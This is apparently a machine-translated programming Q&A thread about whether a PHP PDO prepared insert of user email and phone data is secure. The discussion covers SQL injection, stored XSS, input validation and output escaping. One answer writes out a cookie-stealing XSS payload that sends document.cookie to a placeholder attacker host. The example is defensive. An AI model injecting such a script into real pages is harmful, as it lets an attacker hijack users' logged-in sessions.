2016-08-20 2 views
0

Я вижу, что есть много статей об этом, но в целом, какие лучшие практики при использовании PDO с данными, генерируемыми пользователем?Является ли этот сценарий PDO безопасным

Я предполагаю, что это безопасно.

<? 
$user_phone = $_POST['user_phone']; 
$user_email = $_POST['user_email']; 

$insert = $db->prepare('INSERT INTO user (user_email, user_phone) 
         VALUES (:user_email, :user_phone)'); 

$insert->bindValue(':user_email', $user_email, PDO::PARAM_STR); 
$insert->bindValue(':user_phone', $user_phone, PDO::PARAM_STR); 

$insert->execute(); 
?> 
+2

Я думаю '(user_email, user_phone (' должен быть '(user_email, user_phone)', но в противном случае выглядит хорошо. –

+0

Полезно знать – Charlie

+0

В общем, неплохо пройти эту рекомендацию https: // www .owasp.org/index.php/Top_10_2013-Top_10 –

ответ

0

Хотя пользователь не может использовать базу данных с помощью инъекции, она по-прежнему уязвима другими способами.

Вы не проверяете достоверность данных, которые вы поместили в свою базу данных. Хотя это не совсем обязательно делать это, но если я бы представить это как адрес электронной почты или номер телефона:

<script> 
window.location='http://attacker/?cookie='+document.cookie 
</script> 

И вы echo это на вашем сайте и посетить его, вы будете перенаправлены присылкой ваши файлы cookie для входа в систему и теперь я могу использовать эти данные для входа в систему как вы, и если случайно вы являетесь администратором сайта ... Тип атаки называется XSS.

И не проверяет достоверность данных, есть много способов сделать это, но принять это в качестве примера:

$phone = $_POST['user_phone']; 
$email = $_POST['user_email']; 

if (!filter_var($email, FILTER_VALIDATE_EMAIL) === false) { 
    # if this is true, the email address has a correct format. 
    # see the filter_var manual for more information. 

    if(is_numeric($phone)){ 
     $insert = $db->prepare(
      'INSERT INTO user (user_email, user_phone) 
      VALUES (:user_email, :user_phone)' 
     ); 

     $insert->bindValue(':user_email', $email, PDO::PARAM_STR); 
     $insert->bindValue(':user_phone', $phone, PDO::PARAM_STR); 

     if($insert->execute()){ 
      echo 'success!'; 
     } else { 
      echo 'failed to execute query.'; 
     } 
    } else { 
     echo 'phone number is incorrect.'; 
    } 
} else { 
    echo 'email is not correct.'; 
} 

С помощью этого кода, любые данные, сохраненные будут действительны. Он не говорит, что адрес электронной почты существует noor номер телефона.

Поскольку большинство атак XSS полагаются на <, чтобы разрешить выполнение Javascript, это отрицание, потому что символ < не разрешен в адресе электронной почты.

Мой совет, проверьте, есть ли данные, что вы ожидаете от него, прежде чем сохранять его, а не хранить его и позже исправить проблемы безопасности.

+0

Постоянный XSS, как вы объясните, произойдет, если он не уберет выход, а не вход. 'echo $ login' уязвим. – Sylwit

+0

@Sylwit' Если он не избегайте выхода, а не ввода? 'Пожалуйста, объясните вместо прямого downvoting.Если бы я избежал ввода, сохраните его, мне не нужно будет выходить из выхода? Во-вторых, вы санируете перед сохранением. – Xorifelse

+0

Я думаю, вы должны уточнить, что вы означает «очистить ваши данные, прежде чем сохранять их, а не хранить и сортировать позже». По моему мнению, я не согласен. ** санируйте ** (удалите недопустимые символы) свои данные перед их сохранением. Затем вы должны ** выходить ** при отображении. Экранирование в веб-приложении не такое же, как в настольном приложении. Есть мой нюанс, который заставил бы меня не согласиться с вами. Хотя я не уменьшал ни одного слова. – Maxime

Смежные вопросы